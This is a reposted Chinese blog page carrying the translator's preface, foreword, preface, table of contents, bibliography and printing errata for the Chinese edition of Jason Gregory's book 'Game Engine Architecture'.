数千年以来,艺术家们通过文学、绘画、雕塑、建筑、音乐、舞蹈、戏剧等传统艺术形式充实人类的精神层面。自20世纪中叶,计算机的普及派生出另一种艺术形式──电子游戏。游戏结合了上述传统艺术以及近代科技派生的其他艺术(如摄影、电影、动画),并且完全脱离了艺术欣赏这种单向传递的方式──游戏必然是互动的,“玩家”并不是“读者”、“观众”或“听众”,而是进入游戏世界、感知并对世界做出反应的参与者。 基于游戏的互动本质,游戏的制作通常比其他大众艺术复杂。商业游戏的制作通常需要各种人才的参与,而他们则需要依赖各种工具及科技。游戏引擎便是专门为游戏而设计的工具及科技集成。之所以称为引擎,如同交通工具中的引擎,提供了最核心的技术部分。因为复杂,研发成本高,人们不希望制作每款游戏(或车款)时都重新设计引擎,重用性是游戏引擎的一个重要设计目标。 然而,各游戏本身的性质以及平台的差异,使研发完全通用的游戏引擎变得极困难,甚至不可能。市面上出售的游戏引擎,有一些虽然已经达到很高的技术水平,但在商业应用中,很多时候还是需要因应个别游戏项目对引擎改造、整合、扩展及优化。因此,即使能使用市面上最好的商用引擎或自研引擎,我们仍需要理解当中的架构、各种机制和技术,并且分析及解决在制作中遇到的问题。这些也是译者曾任于上海两家工作室时的主要工作范畴。 选择翻译此著作,主要原因是在阅读中得到共鸣,并且能知悉一些知名游戏作品实际上所采用的方案。有感坊间大部分游戏开发书籍并不是由业内人士执笔,内容只足够应付一些最简单的游戏开发,欠缺宏观比较各种方案,技术与当今实际情况也有很大差距。而一些Gems类丛书虽然偶有好文章,但受形式所限欠缺系统性、全面性。难得本书原作者身为世界一流游戏工作室的资深游戏开发者(注1),在繁重的游戏开发工作外,还在大学教授游戏开发课程以至编写本著作。此外,从与内地同事的交流中,了解到许多从业者不愿意阅读外文书籍。为了普及知识及反馈业界社会,希望能尽绵力。 或许有些人以为本著作是针对单机/游戏机游戏的,并不适合国内以网游为主的环境。但译者认为这是一种误解,许多游戏本身所涉及的技术是具通用性的。例如游戏性相关的游戏性系统、场景管理、人工智能、物理模拟等部分,许多时候也会同时用于网游的前台和后台。现时,一些动作为主、非MMO的国内端游甚至会直接在后台运行传统意义上的游戏引擎。至于前台相关的技术,单机和端游的区别更少。此外,随着近年移动终端的兴起,其硬件性能已超越传统掌上游戏机,开发手游所需的技术与传统掌上游戏机并无太大差异。还可预料,现时单机/游戏机的一些较高级的架构及技术,将在不远的未来着陆移动终端平台。 译者认为,本书涵括游戏开发技术的方方面面,同时适合入门及经验丰富的游戏程序员。书名中的架构二字,并不单是给出一个系统结构图,而是描述每个子系统的需求、相关技术及与其他子系统的关系。对译者本人而言,本书的第11章(动画系统)及第14章(运行时游戏性基础系统)是本书特別精彩之处,含有许多少见于其他书籍的内容。而第10章(渲染引擎)由于是游戏引擎中的一个极大的部分,有限的篇幅可能未能覆盖广度及深度,推荐读者参考[1](注2),人工智能方面也需参考其他专著。 本译作采用LaTeX排版(注3),以Inkscape编译矢量图片。为了令阅读更流畅,内文中的网址都统一改以脚注标示。另外,由于现时游戏开发相关的文献以英文为主,而且游戏开发涉及的知识面很广,本译作尽量以括号形式保留英文术语。为了方便读者查找内容,在附录中增设中英文双向索引(索引条目与原著的不同)。 本人在香港成长学习及工作,至2008年才赴内地游戏工作室工作,不黯内地的中文写作及用字习惯,翻译中曾遇到不少困难。有幸得到出版社人员以及良师益友的帮助,才能完成本译作。特别感谢周筠老师支持本作的提案,并耐心地给予协助及鼓励。编辑张春雨老师和卢鸫翔老师,以及好友余晟给予了大量翻译上的知识及指导。也感谢游戏业界专家云风、大宝和Dave给予了许多宝贵意见。此书的翻译及排版工作比预期更花时间,感谢妻子及儿女们的体谅。此次翻译工作历时三年半,因工作及家庭事宜导致严重延误,唯有在翻译及排版工作上更尽心尽力,希望求得等待此译作的读者们谅解。无论是批评或建议,诚希阁下通过电邮miloyip@gmail.com、新浪微博、豆瓣等渠道不吝赐教。 叶劲峰(Milo Yip) 2013年10月 原作者是顽皮狗(Naughty Dog)《神秘海域(Uncharted)》系列的通才程序员、《最后生还者(The Last of Us)》的首席程序员,之前还曾在EA和Midway工作。 中括号表示引用附录中的参考文献。一些参考条目加入了其中译本的信息。 具体是使用CTEX套装,它是在MiKTeX的基础上增加中文的支持。 前言 最早的电子游戏完全由硬件构成,但微处理器(microprocessor)的高速发展完全改变了游戏的面貌。现在的游戏是在多用途的PC和专门的电子游戏主机(video game console)上玩的,凭借软件带来绝妙的游戏体验。从最初的游戏诞生至今已有半个世纪,但很多人仍然认为游戏是一个未成熟的产业。即使游戏可能是个年轻的产业,若仔细观察,也会发现它正在高速发展。 现时游戏已成为一个上百亿美元的产业,覆盖不同年龄、性别的广泛受众。 千变万化的游戏,可以分为从纸牌游戏到大型多人在线游戏(massively multiplayer online game,MMOG)等多个种类(category)和“类型(genre)”(注1),也可以运行在任何装有微芯片(microchip)的设备上 。你现在可以在PC、手机及多种特别为游戏而设计的手持/电视游戏主机上玩游戏。家用电视游戏通常代表最尖端的游戏科技,又由于它们是周期性地推出新版本,因此有游戏机“世代”(generation)的说法。最新一代(注2)的游戏机包括微软的Xbox 360和索尼的PlayStation 3,但一定不可忽视长盛不衰的PC,以及最近非常流行的任天堂Wii。 最近,剧增的下载式休闲游戏,使这个多样化的商业游戏世界变得更复杂。虽然如此,大型游戏仍然是一门大生意。今天的游戏平台非常复杂,有难以置信的运算能力,这使软件的复杂度得以进一步提升。所有这些先进的软件都需要由人创造出来,这导致团队人数增加,开发成本上涨。随着产业变得成熟,开发团队要寻求更好、更高效的方式去制作产品,可复用软件(reusable software)和中间件(middleware)便应运而生,以补偿软件复杂度的提升。 由于有这么多风格迥异的游戏及多种游戏平台,因此不可能存在单一理想的软件方案。然而,业界已经发展出一些模式 ,也有大量的潜在方案可供选择。现今的问题是如何找到一个合适的方案去迎合某个项目的需要。再进一步,开发团队必须考虑项目的方方面面,以及如何把各方面集成。对于一个崭新的游戏设计,鲜有可能找到一个完美搭配游戏设计各方面的软件包。 现时业界内的老手,入行时都是“开荒牛”。我们这代人很少是计算机科学专业出身(Matt的专业是航空工程、Jason的专业是系统设计工程),但现时很多学院已设有游戏开发的课程和学位。时至今日,为了获取有用的游戏开发信息,学生和开发者必须找到好的途径。对于高端的图形技术,从研究到实践都有大量高质量的信息。可是,这些信息经常不能直接应用到游戏的生产环境,或者没有一个生产级质量的实现。对于图形以外的游戏开发技术,市面上有一些所谓的入门书籍,没提及参考文献就描述很多内容细节,像自己发明的一样。这种做法根本没有用处,甚至经常带有不准确的内容。另一方面,市场上有一些高端的专门领域书籍,例如物理、碰撞、人工智能等。可是,这类书或者啰嗦到让你难以忍受,或者高深到让部分读者无法理解,又或者内容过于零散而难于融会贯通。有一些甚至会直接和某项技术挂钩,软硬件一旦改动,其内容就会迅速过时。 此外,互联网也是收集相关知识的绝佳工具。可是,除非你确实知道要找些什么,否则断链、不准确的资料、质量差的内容也会成为学习障碍。 好在,我们有Jason Gregory,他是一位拥有在顽皮狗(Naughty Dog)工作经验的业界老手,而顽皮狗是全球高度瞩目的游戏工作室之一。Jason在南加州大学教授游戏编程课程时,找不到概括游戏架构的教科书。值得庆幸的是,他承担了这个任务,填补了这个空白。 Jason把应用到实际发行游戏的生产级别知识,以及整个游戏开发的大局编集于本书。他凭经验,不仅融汇了游戏开发的概念和技巧,还用实际的代码示例及实现例子去说明怎样贯通知识来制作游戏。本书的引用及参考文献可以让读者更深入探索游戏开发过程的各方面。虽然例子经常是基于某些技术的,但是概念和技巧是用来实际创作游戏的,它们可以超越个别引擎或API的束缚。 本书是一本我们入行做游戏时想要的书。我们认为本书能让入门者增长知识,也能为有经验者开拓更大的视野。 Jeff Lander(注3) Matthew Whiting(注4) 译注:Genre一词在文学中为体裁。电影和游戏里通常译作类型。不同的游戏类型可见1.2节。 译注:按一般说法,2005年至今属于第7个游戏机世代。这3款游戏机的发行年份为Xbox 360(2005)、PlayStation 3(2006)、Wii(2006)。有关游戏机世代可参考维基百科。 译注:Jeff Lander现时为Darwin 3D公司的首席技术总监、Game Tech公司创始人,曾为艺电首席程序员、Luxoflux公司游戏性及动画技术程序员。 译注:Matthew Whiting现时为Wholesale Algorithms公司程序员,曾为Luxoflux公司首席软件工程师、Insomniac Games公司程序员。 序言 欢迎来到《游戏引擎架构》世界。本书旨在全面探讨典型商业游戏引擎的主要组件。游戏编程是一个庞大的主题,有许多内容需要讨论。不过相信你会发现,我们讨论的深度将足以使你充分理解本书所涵盖的工程理论及常用实践的方方面面。话虽如此,令人着迷的漫长游戏编程之旅其实才刚刚启程。与此相关的每项技术都包含丰富内容,本书将为你打下基础,并引领你进入更广阔的学习空间。 本书焦点在于游戏引擎的技术及架构。我们会探讨商业游戏引擎中,各个子系统的相关理论,以及实现这些理论所需要的典型数据结构、算法和软件接口。游戏引擎与游戏的界限颇为模糊。我们将把注意力集中在引擎本身,包括多个低阶基础系统(low-level foundation system)、渲染引擎(rendering engine)、碰撞系统(collision system)、物理模拟(physics simulation)、人物动画(character animation),及一个我称为游戏性基础层(gameplay foundation layer)的深入讨论。此层包括游戏对象模型(game object model)、世界编辑器(world editor)、事件系统(event system)及脚本系统(scripting system)。我们也将会接触游戏性编程(gameplay programming)的多个方面,包括玩家机制(player mechanics)、摄像机(camera)及人工智能(artificial intelligence,AI)。然而,这类讨论会被限制在游戏性系统和引擎接口范围。 本书可以作为大学中等级游戏程序设计中两到三门课程的教材。当然,本书也适合软件工程师、业余爱好者、自学的游戏程序员,以及游戏行业从业人员。通过阅读本书,资历较浅的游戏程序员可以巩固他们所学的游戏数学、引擎架构及游戏科技方面的知识。专注某一领域的资深程序员也能从本书更为全面的介绍中获益。 为了更好地学习本书内容,你需要掌握基本的面向对象编程概念并至少拥有一些C++编程经验。尽管游戏行业已经开始尝试使用一些新的、令人兴奋的编程语言,然而工业级的3D游戏引擎仍然是用C或C++编写的,任何认真的游戏程序员都应该掌握C++。我们将在第3章重温一些面向对象编程的基本原则,毫无疑问,你还会从本书学到一些C++的小技巧,不过C++的基础最好还是通过阅读[39]、[31]及[32]来获得。如果你对C++已经有点生疏,建议你在阅读本书的同时,最好能重温这几本或者类似书籍。如果你完全没有C++经验,在看本书之前,可以考虑先阅读[39]的前几章,或者尝试学习一些C++的在线教程。 学习编程技能最好的方法就是写代码。在阅读本书时,强烈建议你选择一些特别感兴趣的主题付诸实践。举例来说,如果你觉得人物动画很有趣,那么可以首先安装OGRE,并测试一下它的蒙皮动画示范。接着还可以尝试用OGRE实现本书谈及的一些动画混合技巧。下一步你可能会打算用游戏手柄控制人物在平面上行走。等你能玩转一些简单的东西了,就应该以此为基础,继续前进!之后可以转移到另一个游戏技术范畴,周而复始。这些项目是什么并不重要,重要的是你在实践游戏编程的艺术,而不是纸上谈兵。 游戏科技是一个活生生、会呼吸的家伙 ,永远不可能将之束缚于书本之上 。因此,附加的资源、勘误、更新、示例代码、项目构思等已经发到本书的网站。 目录 推荐序1 iii推荐序2 v译序 vii序言 xvii前言 xix致谢 xxi第一部分 基础 1第1章 导论 31.1 典型游戏团队的结构 41.2 游戏是什么 71.3 游戏引擎是什么 101.4 不同游戏类型中的引擎差异 111.5 游戏引擎概观 221.6 运行时引擎架构 271.7 工具及资产管道 46第2章 专业工具 532.1 版本控制 532.2 微软Visual Studio 612.3 剖析工具 782.4 内存泄漏和损坏检测 792.5 其他工具 80第3章 游戏软件工程基础 833.1 重温C++及最佳实践 833.2 C/C++的数据、代码及内存 903.3 捕捉及处理错误 118第4章 游戏所需的三维数学 1254.1 在二维中解决三维问题 1254.2 点和矢量 1254.3 矩阵 1394.4 四元数 1564.5 比较各种旋转表达方式 1644.6 其他数学对象 1684.7 硬件加速的SIMD运算 1734.8 产生随机数 180第二部分 低阶引擎系统 183第5章 游戏支持系统 1855.1 子系统的启动和终止 1855.2 内存管理 1935.3 容器 2085.4 字符串 2255.5 引擎配置 234第6章 资源及文件系统 2416.1 文件系统 2416.2 资源管理器 251第7章 游戏循环及实时模拟 2777.1 渲染循环 2777.2 游戏循环 2787.3 游戏循环的架构风格 2807.4 抽象时间线 2837.5 测量及处理时间 2857.6 多处理器的游戏循环 2967.7 网络多人游戏循环 304第8章 人体学接口设备(HID) 3098.1 各种人体学接口设备 3098.2 人体学接口设备的接口技术 3118.3 输入类型 3128.4 输出类型 3168.5 游戏引擎的人体学接口设备系统 3188.6 人体学接口设备使用实践 332第9章 调试及开发工具 3339.1 日志及跟踪 3339.2 调试用的绘图功能 3379.3 游戏内置菜单 3449.4 游戏内置主控台 3479.5 调试用摄像机和游戏暂停 3489.6 作弊 3489.7 屏幕截图及录像 3499.8 游戏内置性能剖析 3499.9 游戏内置的内存统计和泄漏检测 356第三部分 图形及动画 359第10章 渲染引擎 36110.1 采用深度缓冲的三角形光栅化基础 36110.2 渲染管道 40410.3 高级光照及全局光照 42610.4 视觉效果和覆盖层 43810.5 延伸阅读 446第11章 动画系统 44711.1 角色动画的类型 44711.2 骨骼 45211.3 姿势 45411.4 动画片段 45911.5 蒙皮及生成矩阵调色板 47111.6 动画混合 47611.7 后期处理 49311.8 压缩技术 49611.9 动画系统架构 50111.10 动画管道 50211.11 动作状态机 51511.12 动画控制器 535第12章 碰撞及刚体动力学 53712.1 你想在游戏中加入物理吗 53712.2 碰撞/物理中间件 54212.3 碰撞检测系统 54412.4 刚体动力学 56912.5 整合物理引擎至游戏 60112.6 展望:高级物理功能 616第四部分 游戏性 617第13章 游戏性系统简介 61913.1 剖析游戏世界 61913.2 实现动态元素:游戏对象 62313.3 数据驱动游戏引擎 62613.4 游戏世界编辑器 627第14章 运行时游戏性基础系统 63714.1 游戏性基础系统的组件 63714.2 各种运行时对象模型架构 64014.3 世界组块的数据格式 65714.4 游戏世界的加载和串流 66314.5 对象引用与世界查询 67014.6 实时更新游戏对象 67614.7 事件与消息泵 69014.8 脚本 70714.9 高层次的游戏流程 726第五部分 总结 727第15章 还有更多内容吗 72915.1 一些未谈及的引擎系统 72915.2 游戏性系统 730参考文献 733中文索引 737英文索引 755 参考文献 Tomas Akenine-Moller, Eric Haines, and Naty Hoffman. Real-Time Rendering (3rd Edition). Wellesley, MA: A K Peters, 2008. 中译本:《实时计算机图形学(第2版)》,普建涛译,北京大学出版社,2004. Andrei Alexandrescu. Modern C++ Design: Generic Programming and Design Patterns Applied. Resding, MA: Addison-Wesley, 2001. 中译本:《C++设计新思维:泛型编程与设计模式之应用》,侯捷/於春景译,华中科技大学出版社,2003. Grenville Armitage, Mark Claypool and Philip Branch. Networking and Online Games: Understanding and Engineering Multiplayer Internet Games. New York, NY: John Wiley and Sons, 2006. James Arvo (editor). Graphics Gems II. San Diego, CA: Academic Press, 1991. Grady Booch, Robert A. Maksimchuk, Michael W. Engel, Bobbi J. Young, Jim Conallen, and Kelli A. Houston. Object-Oriented Analysis and Design with Applications (3rd Edition). Reading, MA: Addison-Wesley, 2007. 中译本:《面向对象分析与设计(第3版)》,王海鹏/潘加宇译,电子工业出版社,2012. Mark DeLoura (editor). Game Programming Gems. Hingham, MA: Charles River Media, 2000. 中译本:《游戏编程精粹 1》, 王淑礼译,人民邮电出版社,2004. Mark DeLoura (editor). Game Programming Gems 2. Hingham, MA: Charles River Media, 2001. 中译本:《游戏编程精粹 2》,袁国忠译,人民邮电出版社,2003. Philip Dutré, Kavita Bala and Philippe Bekaert. Advanced Global Illumination (2nd Edition). Wellesley, MA: A K Peters, 2006. David H. Eberly. 3D Game Engine Design: A Practical Approach to Real-Time Computer Graphics. San Francisco, CA: Morgan Kaufmann, 2001. 国内英文版:《3D游戏引擎设计:实时计算机图形学的应用方法(第2版)》,人民邮电出版社,2009. David H. Eberly. 3D Game Engine Architecture: Engineering Real-Time Applications with Wild Magic. San Francisco, CA: Morgan Kaufmann, 2005. David H. Eberly. Game Physics. San Francisco, CA: Morgan Kaufmann, 2003. Christer Ericson. Real-Time Collision Detection. San Francisco, CA: Morgan Kaufmann, 2005. 中译本:《实时碰撞检测算法技术》,刘天慧译,清华大学出版社,2010. Randima Fernando (editor). GPU Gems: Programming Techniques, Tips and Tricks for Real-Time Graphics. Reading, MA: Addison-Wesley, 2004. 中译本:《GPU精粹:实时图形编程的技术、技巧和技艺》,姚勇译,人民邮电出版社,2006. James D. Foley, Andries van Dam, Steven K. Feiner, and John F. Hughes. Computer Graphics: Principles and Practice in C (2nd Edition). Reading, MA: Addison-Wesley, 1995. 中译本:《计算机图形学原理及实践──C语言描述》,唐泽圣/董士海/李华/吴恩华/汪国平译,机械工业出版社,2004. Grant R. Fowles and George L. Cassiday. Analytical Mechanics (7th Edition). Pacific Grove, CA: Brooks Cole, 2005. John David Funge. AI for Games and Animation: A Cognitive Modeling Approach. Wellesley, MA: A K Peters, 1999. Erich Gamma, Richard Helm, Ralph Johnson, and John M. Vlissiddes. Design Patterns: Elements of Reusable Object-Oriented Software. Reading, MA: Addison-Wesley, 1994. 中译本:《设计模式:可复用面向对象软件的基础》,李英军/马晓星/蔡敏/刘建中译,机械工业出版社,2005. Andrew S. Glassner (editor). Graphics Gems I. San Francisco, CA: Morgan Kaufmann, 1990. Paul S. Heckbert (editor). Graphics Gems IV. San Diego, CA: Academic Press, 1994. Maurice Herlihy, Nir Shavit. The Art of Multiprocessor Programming. San Francisco, CA: Morgan Kaufmann, 2008. 中译本:《多处理器编程的艺术》,金海/胡侃译,机械工业出版社,2009. Roberto Ierusalimschy, Luiz Henrique de Figueiredo and Waldemar Celes. Lua 5.1 Reference Manual. Lua.org, 2006. Roberto Ierusalimschy. Programming in Lua, 2nd Edition. Lua.org, 2006. 中译本:《Lua程序设计(第2版)》,周惟迪译,电子工业出版社,2008. Isaac Victor Kerlow. The Art of 3-D Computer Animation and Imaging (2nd Edition). New York, NY: John Wiley and Sons, 2000. David Kirk (editor). Graphics Gems III. San Francisco, CA: Morgan Kaufmann, 1994. Danny Kodicek. Mathematics and Physics for Game Programmers. Hingham, MA: Charles River Media, 2005. Raph Koster. A Theory of Fun for Game Design. Phoenix, AZ: Paraglyph, 2004. 中译本:《快乐之道:游戏设计的黄金法则》,姜文斌等译,百家出版社,2005. John Lakos. Large-Scale C++ Software Design. Reading, MA: Addison-Wesley, 1995. 中译本:《大规模C++程序设计》,李师贤/明仲/曾新红/刘显明译,中国电力出版社,2003. Eric Lengyel. Mathematics for 3D Game Programming and Computer Graphics (2nd Edition). Hingham, MA: Charles River Media, 2003. Tuoc V. Luong, James S. H. Lok, David J. Taylor and Kevin Driscoll. Internationalization: Developing Software for Global Markets. New York, NY: John Wiley & Sons, 1995. Steve Maguire. Writing Solid Code: Microsoft's Techniques for Developing Bug Free C Programs. Bellevue, WA: Microsoft Press, 1993. 国内英文版:《编程精粹:编写高质量C语言代码》,人民邮电出版社,2009. Scott Meyers. Effective C++: 55 Specific Ways to Improve Your Programs and Designs (3rd Edition). Reading, MA: Addison-Wesley, 2005. 中译本:《Effective C++:改善程序与设计的55个具体做法(第3版)》,侯捷译,电子工业出版社,2011. Scott Meyers. More Effective C++: 35 New Ways to Improve Your Programs and Designs. Reading, MA: Addison-Wesley, 1996. 中译本:《More Effective C++:35个改善编程与设计的有效方法(中文版)》,侯捷译,电子工业出版社,2011. Scott Meyers. Effective STL: 50 Specific Ways to Improve Your Use of the Standard Template Library. Reading, MA: Addison-Wesley, 2001. 中译本:《Effective STL:50条有效使用STL的经验》,潘爱民/陈铭/邹开红译,电子工业出版社,2013. Ian Millington. Game Physics Engine Development. San Francisco, CA: Morgan Kaufmann, 2007. Hubert Nguyen (editor). GPU Gems 3. Reading, MA: Addison-Wesley, 2007. 中译本:《GPU精粹3》,杨柏林/陈根浪/王聪译,清华大学出版社,2010. Alan W. Paeth (editor). Graphics Gems V. San Francisco, CA: Morgan Kaufmann, 1995. C. Michael Pilato, Ben Collins-Sussman, and Brian W. Fitzpatrick. Version Control with Subversion (2nd Edition). Sebastopol , CA: O'Reilly Media, 2008. (常被称作“The Subversion Book”,线上版本.) 国内英文版:《使用Subversion进行版本控制》,开明出版社,2009. Matt Pharr (editor). GPU Gems 2: Programming Techniques for High-Performance Graphics and General-Purpose Computation. Reading, MA: Addison-Wesley, 2005. 中译本:《GPU精粹2:高性能图形芯片和通用计算编程技巧》,龚敏敏译,清华大学出版社,2007. Bjarne Stroustrup. The C++ Programming Language, Special Edition (3rd Edition). Reading, MA: Addison-Wesley, 2000. 中译本《C++程序设计语言(特别版)》,裘宗燕译,机械工业出版社,2010. Dante Treglia (editor). Game Programming Gems 3. Hingham, MA: Charles River Media, 2002. 中译本:《游戏编程精粹3》,张磊译,人民邮电出版社,2003. Gino van den Bergen. Collision Detection in Interactive 3D Environments. San Francisco, CA: Morgan Kaufmann, 2003. Alan Watt. 3D Computer Graphics (3rd Edition). Reading, MA: Addison Wesley, 1999. James Whitehead II, Bryan McLemore and Matthew Orlando. World of Warcraft Programming: A Guide and Reference for Creating WoW Addons. New York, NY: John Wiley & Sons, 2008. 中译本:《魔兽世界编程宝典:World of Warcraft Addons完全参考手册》,杨柏林/张卫星/王聪译,清华大学出版社,2010. Richard Williams. The Animator's Survival Kit. London, England: Faber & Faber, 2002. 中译本:《原动画基础教程:动画人的生存手册》,邓晓娥译,中国青年出版社,2006. 勘误 第1次印册(2014年2月) P.xviii: 译注中 Wholesale Algoithms -> Wholesale Algorithms P.10: 最后一段第一行 微软的媒体播放器 -> 微软的Windows Media Player (多谢读者OpenGPU来函指正) P.15: 1.4.3节第三点 按妞 -> 按钮 (多谢读者一个小小凡人来函指正) P.40: 正文最后一行 按扭 -> 按钮 P.50: 1.7.8节第二节第一行 同是 -> 同时 (多谢读者czfdd来函指正) P.98: 代码 writeExampleStruct(Example& ex, Stream& ex) 中 Stream& ex -> Stream& stream (多谢读者Snow来函指正) P.106: 第一段中有六处 BBS -> BSS,最后一段代码的注释也有同样错误 (多谢读者trout来函指正) P.119: 译注中 软体工程 -> 软件工程 (多谢读者Snow来函指正) P.214: 正文第一段有两处 虚内存 -> 虚拟内存 (多谢读者Snow来函指正) P.216: 脚注24应标明为译注 (多谢读者Snow来函指正) P.221: 第一段代码的第二个断言应为 ASSERT(link.m_pPrev != NULL); (多谢读者Snow来函指正) P.230: 5.4.4.1节 第二段 软体 -> 软件 P.286: 脚注4应标明为译注 (多谢读者Snow来函指正) P.322: 第二段 按扭事件字 -> 按钮事件 P.349: 9.8节第二段第二行两处 部析器 -> 剖析器 (多谢读者Snow来函指正) P.738-572: 双数页页眉 参考文献 -> 中文索引 P.755-772: 双数页页眉 参考文献 -> 英文索引 P.755: kd tree项应归入K而不是Symbols 以上的错误已于第2次印册中修正。 第2次印册及之前 P.11: 第四行 细致程度 -> 层次细节 (这是level-of-detail/LOD的内地通译,多谢读者OpenGPU来函指正) P.12: 正文第一段及图1.2标题 使命之唤 -> 使命召唤 (多谢读者OpenGPU来函指正) P.12: 正文第一段 战栗时空 -> 半条命 (多谢读者OpenGPU来函指正) P.16: 第一点 表面下散射 -> 次表面散射 (多谢读者OpenGPU来函指正) P.17: 1.4.4节第五行 次文化 -> 亚文化 (此译法在内地更常用。多谢读者OpenGPU来函提示) P.22: 战栗时空 -> 半条命 P.24: 战栗时空2 -> 半条命2 P.34: 1.6.8.2节第一行 提呈 -> 提交 (这术语在本书其他地方都写作提交。多谢读者OpenGPU来函提示) P.35: 第七行 提呈 -> 提交 (这术语在本书其他地方都写作提交。多谢读者OpenGPU来函提示) P.50: 战栗时空2 -> 半条命2 P.365: 第四段第二行: 细致程度 -> 层次细节 P.441: 10.4.3.2节第三行 细致程度 -> 层次细节 P.494: sinusiod -> sinusoid (多谢读者OpenGPU来函指正) P.511: 11.10.4节第一行 谈入 -> 淡入 (多谢读者Snow来函指正) P.541: 战栗时空2 -> 半条命2 P.627: 战栗时空2 -> 半条命2 P.654: 第二行 建康值 -> 血量 (原来是改正错别字,但译者发现应改作前后统一使用的“血量”。多谢读者Snow来函指正) P.692: 第二行 内部分式 -> 内部方式 (多谢读者Snow来函指正) P.696: 14.7.6节第四行 不设实际 -> 不切实际 (多谢读者Snow来函指正) 以上的错误已于第3次印册中修正。 其他意见 P.220: 正文第一段 m_root.m_pElement 和 P.218 第一段代码中的 m_pElem 不统一。原文有此问题,但因为它们是不同的struct,暂不列作错误。 (多谢读者Snow来函提示) P.331: 8.5.8节第二段中 “反覆”较常见的写法为“反复”,但前者也是正确的,暂不列作错误。 (多谢读者Snow来函提示) P.390: 10.1.3.3节静态光照第二段中“取而代之,我们会使用一张光照纹理贴到所有受光源影响范围内的物体上。这样做能令动态物体经过光源时得到正确的光照。” 后面的一句与前句好像难以一起理解。译者认为,作者应该是指,使用同一静态光源去为静态物件生成光照纹理,以及用于动态对象的光照,能使两者的效果维持一致性。译者会考虑对译文作出改善或加入译注解译。(多谢读者店残来函查询) P.689: 第五行 并行处理世代 -> 并行处理时代 是对era较准确的翻译。 (多谢读者Snow来函提示) 本篇文章为转载内容。原文链接:https://blog.csdn.net/mypongo/article/details/38388381。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-02-12 23:04:05
328
转载
建站模板下载
资源介绍 该“简约软件公司官网模板”是一款专为网络科技、研发与科技创新类公司设计的蓝色调HTML网站模板,提供便捷下载服务。适用于创建展示型或信息化的软件企业官网,具有科技感与现代风格,支持灵活布局和内容定制,帮助用户快速搭建专业且富有特色的公司网站。 点我下载 文件大小:8.46 MB 您将下载一个资源包,该资源包内部文件的目录结构如下: 本网站提供模板下载功能,旨在帮助广大用户在工作学习中提升效率、节约时间。 本网站的下载内容来自于互联网。如您发现任何侵犯您权益的内容,请立即告知我们,我们将迅速响应并删除相关内容。 免责声明:站内所有资源仅供个人学习研究及参考之用,严禁将这些资源应用于商业场景。 若擅自商用导致的一切后果,由使用者承担责任。
2023-02-10 14:19:57
127
本站
站内搜索
用于搜索本网站内部文章,支持栏目切换。
知识学习
实践的时候请根据实际情况谨慎操作。
随机学习一条linux命令:
journalctl -u service_name
- 查看特定服务的日志。
推荐内容
推荐本栏目内的其它文章,看看还有哪些文章让你感兴趣。
2023-04-28
2023-08-09
2023-06-18
2023-04-14
2023-02-18
2023-04-17
2024-01-11
2023-10-03
2023-09-09
2023-06-13
2023-08-07
2023-03-11
历史内容
快速导航到对应月份的历史文章列表。
随便看看
拉到页底了吧,随便看看还有哪些文章你可能感兴趣。
时光飞逝
"流光容易把人抛,红了樱桃,绿了芭蕉。"